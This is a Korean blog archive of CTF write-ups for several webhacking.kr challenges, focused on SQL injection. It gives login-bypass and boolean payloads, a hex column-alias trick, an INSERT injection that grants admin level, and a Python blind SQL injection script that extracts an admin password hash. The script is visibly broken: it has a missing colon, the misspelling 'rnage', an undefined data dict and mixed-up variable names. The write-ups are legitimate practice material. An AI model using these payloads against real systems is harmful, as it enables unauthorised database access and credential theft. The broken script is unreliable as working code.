[그림 1]

500점짜리 22번 문제를 준비 해 보았다.

mission : login as admin

Column Name : id, pw

admin 계정으로 로그인 하면 풀리는 문제인 것 같다.

hint로는 Column Name을 준 것 같다.

 

우선적으로 admin으로 로그인 시도를 해보았다.

[그림 2]

로그인에 실패했다.

다음으로 회원 가입을 통해 내가 만들어낸 계정이 DB에 등록되도록 하였다.

admin 계정이 이미 존재해서 ad m i n 으로 공백을 통해 회원가입 후 로그인을 시도 해 보았다.

id : ad m i n

pw : admin

 

[그림 3]

결과 창에 그대로 나오는 것으로 보아 효과가 없다는 것을 알 수 있다.

해시 값을 보고 자동 복호화 툴(직접 제작 중 미완성 오류가 너무 많다;;)을 이용해 암호 종류와 해시값을 알아냈다.

 

[그림 4]

32비트 해시 값으로 md5가 사용되었고 해시값은 'admin'+'apple' adminapple이라고 나온 것을 확인 할수 있었다.

apple을 솔트 값으로 확인 한 것이다.

 

 

지금까지 모은 정보를 정리해 보면

Columname 2개, hash값 = pw + salt, 내가 생성한 계정

 

sql injection 으로 admin의 해시 값을 구해 내면 될 것 같다. 

 

id = admin' # 구문을 통해 어떤 response가 나오는지 확인하였다.

[그림 5]

id는 admin이 맞지만 pw가 틀렸다.

 

id = admin' and ' 1' = '0' # 구문을 사용하여 한번 더 확인 해보았다.

[그림 6]

id는 admin이라는 것을 확실히 알 수 있다.

 

이제 문제는 pw이다.

blindsql을 사용하여 pw 길이를 먼저 구하고 그다음으로 철자를 하나씩 구해야 한다.

import requests

url='https://webhacking.kr/challenge/bonus-2/index.php'
headers = {'Cookie' : 'PHPSESSID= '}

pw = ""

for i in range(0, 100)
    data['uuid'] = {"admin' and length(pw)={}#".format(i)
    data['pw'] = None
    response=requests.post(url, data=data)
    if response.text.find("Wrong password") != -1:
        pw_length = i
        break
print("pw length = ", pw_length)

for i in range(1, pw_length+1):
    for j in rnage (33, 133):
        data['uuid'] = "admin' and ascii(substr(pw, {}, 1))={}#".format(i, j)
        data['pw'] = None
        response  = requests.post(url, data=data)
        if response.text.find("Wrong password") != -1:
            password+=chr(j)
            print(i, pw)
            break
print("Result = ", pw)

hash 값이 6c9ca386a903921d7fa230ffa0ffc153인것을 알수 있었다.

hash 값은 pw + apple이었으니 위 해시값을 복호화(?) 해주면 된다.(여기서도 자체 툴이 애를 먹었다.)

 

wowapple 이라는 값인 것을 알았다.

id = admin

pw = wow

 

로그인 해보면

[그림 7]

문제가 풀리는 것을 확인 할 수 있다.

'Challenge > webhacking.kr' 카테고리의 다른 글

Webhacking 61번 문제 풀이  (0) 2020.02.22
Webhacking 60번 문제 풀이  (0) 2020.02.22
Webhacking 59번 문제 풀이  (0) 2020.02.22
Webhacking 58번 문제 풀이  (0) 2020.02.20
Webhacking 56번 문제 풀이  (0) 2020.02.20

[그림 1]

뭐 여러가지 필터링이 되어 있고 get방식으로 보내진 id 가 쿼리문을 지나 받은 result가 admin이면 풀린다는 것 같다.

이 문제는 컬럼 별칭을 이용해  원하는 컬럼에 값을 넣도록 해서 해결하는 방식이다.

 

select {$_GET['id']} from chall61 order by id desc limit 1

내림차순으로  1개만 골라 낸다는 뜻이다.

 

평소 자주 쓰던 char()은 필터링에 걸려 있다.

hex값으로admin을 넣어주면 의미는 같다.

 

0x61646d696e id

 

select 0x61646d696e id from chall61 order by id desc limit 1

id라는 컬럼에 0x61646d696e값이 들어가고 id라는 컬럼을 내림차순으로 하나라는 뜻이다.

 

[그림 2]

클~

'Challenge > webhacking.kr' 카테고리의 다른 글

Webhacking 22번 문제 풀이  (0) 2020.12.01
Webhacking 60번 문제 풀이  (0) 2020.02.22
Webhacking 59번 문제 풀이  (0) 2020.02.22
Webhacking 58번 문제 풀이  (0) 2020.02.20
Webhacking 56번 문제 풀이  (0) 2020.02.20

[그림 1]

파일 하나가 생성되고 1초만에 지워진다.  이 파일을 건드릴수 있다면 문제가 풀린다.

 

쿠키값을 겹치지 않게 숫자로 수정해주고 재로그인한후 ?mode=auth로 접속했다.

 

vm을 사용해서 파일을 생성하였고, 삭제되기전에 크롬으로 낚아챘다.

[그림 2]

'Challenge > webhacking.kr' 카테고리의 다른 글

Webhacking 22번 문제 풀이  (0) 2020.12.01
Webhacking 61번 문제 풀이  (0) 2020.02.22
Webhacking 59번 문제 풀이  (0) 2020.02.22
Webhacking 58번 문제 풀이  (0) 2020.02.20
Webhacking 56번 문제 풀이  (0) 2020.02.20

[그림 1]
[그림 2]

소스 코드를 통해 result['lv'] == admin 이면 문제가 풀린다는 것과 lid, lphone은 login을 id, phone은 join과 연관 있다는 것을 짐작 할 수 있다.

 

id는 admin이란 글자가 필터링 되어 있으며 phone은 20자리가 넘으면 안된다고 되어 있다.

ladmin이 되게 생성 해주고 그 계정으로 로그인 하면 풀릴 문제다.

 echo "id : {$result['id']}<br>lv : {$result['lv']}<br><br>";

음 id, lv이 표시되나보다. 이걸로 확인 하면서 구문을 수정해 나가면 될듯 하다.

 

reverse 함수를 이용하여 문제를 풀도록 했다.

[그림 3]

주석을 사용하여 뒷 구문을 다 씹도록 하였다.(phone에 숫자는 뭐가 들어가든 상관 없다.)

 

insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')

이를 보면 id, phone, guest 순으로 값이 정렬된다.

 

insert into chall59 values(nimda,1,admin);-- ,'guest')

구문에 따라 값을 넣어보면 이런식으로 들어간다.

 

insert into chall59 values(nimda,1,admin);-- 

주석문으로 뒤를 다씹게 되면 온전한 하나의 쿼리문이 된다.

[그림 4]
[그림 5]

'Challenge > webhacking.kr' 카테고리의 다른 글

Webhacking 61번 문제 풀이  (0) 2020.02.22
Webhacking 60번 문제 풀이  (0) 2020.02.22
Webhacking 58번 문제 풀이  (0) 2020.02.20
Webhacking 56번 문제 풀이  (0) 2020.02.20
Webhacking 54번 문제 풀이  (0) 2020.02.20

[그림 1]

공허하다 음 뭔가 입력할수 있는듯 싶다.

아무값이나 입력 했더니 command not found란다.

command라길래 help를 입력해 봤다.

[그림 2]

사용할수 있는 커맨드가 보여진다.

다른건 별 소용이 없어 flag를 쳐보았다.

[그림 3]

admin이 아니면 안보여주나 보다.

당장에 더이상 얻을수 있는게 없어서 소스코드를 확인했더니 script구문이 있었다.

[그림 4]

심지어 username default가 guest로 되어 있는 것까지 확인했다. 이걸 admin으로 바꿔 보내면 될듯 싶다.

[그림 5]

코드를 콘솔에 입력해주고 다시금 falg를 요청하면

[그림 6]

flag를 준다.

 

[그림 7]

'Challenge > webhacking.kr' 카테고리의 다른 글

Webhacking 60번 문제 풀이  (0) 2020.02.22
Webhacking 59번 문제 풀이  (0) 2020.02.22
Webhacking 56번 문제 풀이  (0) 2020.02.20
Webhacking 54번 문제 풀이  (0) 2020.02.20
Webhacking 53번 문제 풀이  (0) 2020.02.19

[그림 1]

readme를 눌러보면

[그림 2]

hi~를 눌러보면

[그림 3]

search의 용도를 찾아보려 이것 저것 시도해 보았다.

제목을 입력하면 아무것도 안나오고 hi,  flag를 입력하자 readme가 나왔다.

이걸 어떻게 할까 한참 고민하고 search로 여러 방법을 수행해보다가 자릿수와 관련이 있다는것을 알았다.

h, he, hel 이런식으로 넣어주니 guest가 나왔다.

flag의 경우 44자 일때까지 결과 값이 나왔다.

 

이걸 코드로 작성해서 한글자 한글자 따와야 될것 같다.

 

코드를 작성해서 돌려보면

 

FLAG_HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO? 라는 flag가 나온다.

 

[그림 5]

이 문제는 기존 blind sql 풀때 코드 짰었는데 그게 도움이 된것 같다.

'Challenge > webhacking.kr' 카테고리의 다른 글

Webhacking 59번 문제 풀이  (0) 2020.02.22
Webhacking 58번 문제 풀이  (0) 2020.02.20
Webhacking 54번 문제 풀이  (0) 2020.02.20
Webhacking 53번 문제 풀이  (0) 2020.02.19
Webhacking 51번 문제 풀이  (0) 2020.02.19

+ Recent posts